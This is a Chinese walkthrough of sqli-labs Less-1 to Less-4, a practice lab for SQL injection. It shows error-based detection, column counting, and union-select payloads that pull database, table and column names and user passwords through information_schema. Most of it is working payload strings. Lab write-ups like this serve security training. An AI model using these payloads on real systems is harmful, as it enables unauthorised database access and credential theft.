Less-1
首先測試id=1'
發現頁面報錯,說明存在注入點,并且沒有過濾單引號:
使用“#”注釋掉后面的sql語句之后,發現回顯又正常了(GET方式提交#必須用URL編碼,也就是%23輸入):
說明這里是基于報錯的單引號字符型注入。
接下來使用order by
語句判斷列數。order by 3
回顯正常,order by 4
報錯,所以一共有3列。
將id改為一個不存在的值并使用union select 1,2,3
判斷顯示位,可以看到顯示了2和3。
接下來查詢數據庫的各種信息。這里經常需要用到幾個被稱為“字符串連接函數”的函數,常用的有以下幾個:
concat()
concat_ws()
group_concat()
這里使用group_concat()。
爆數據庫名:
?id=8888' union select 1,group_concat(schema_name),3 from information_schema.schemata%23
這里用到了一個叫information_schema的東西。
information_schema 數據庫跟 performance_schema 一樣,都是 MySQL 自帶的信息數據庫。其中 performance_schema 用于性能分析,而 information_schema 用于存儲數據庫元數據(關于數據的數據),例如數據庫名、表名、列的數據類型、訪問權限等。
from https://blog.csdn.net/kikajack/article/details/80065753
在SQL注入中,這個數據庫中有幾個比較常用的表:
-
schemata
表,這個表中存放了所有數據庫的信息。 -
tables
表,存放了數據庫中所有數據表的信息。 -
columns
表,存放了所有列的信息。
這里利用了 schemata
表來獲取了所有數據庫的名稱。
接下來爆security數據庫中的列:
?id=8888' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23
爆users列的字段:
?id=8888' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
爆password字段的信息:
?id=8888' union select 1,group_concat(password),3 from security.users%23
Less-1完成。
Less-2
這個題是基于報錯的數字型注入,利用方法和上面的基本一樣,只是不需要加id后面的單引號。
看報錯可以知道我們輸入的語句被原封不動地插入到sql語句中。
payload:
?id=1 order by 3
?id=1 order by 4 /*報錯,說明有3列*/
?id=8888 union select 1,group_concat(schema_name),3 from information_schema.schemata
?id=8888 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
?id=8888 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
?id=8888 union select 1,group_concat(password),3 from security.users
Less-2完成。
Less-3
用?id=1'
測試了一下,發現報錯有變化,根據報錯可以知道這里是使用')
閉合字符串的,所以在Less-1的id后面加一個)
就可以了。這里還是需要加%23
把后面的語句注釋掉。
payload:
?id=8888') union select 1,group_concat(schema_name),3 from information_schema.schemata%23
?id=8888') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23
?id=8888') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
?id=8888') union select 1,group_concat(password),3 from security.users%23
Less-3完成。
Less-4
用?id=1'
測試了一下發現沒有問題,但是用?id=1"
測試發現報錯:
根據報錯可以知道我們的字符串被放在雙引號和括號之間了。
payload:
?id=8888") union select 1,group_concat(schema_name),3 from information_schema.schemata%23
?id=8888") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23
?id=8888") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
?id=8888") union select 1,group_concat(password),3 from security.users%23
Less-4完成。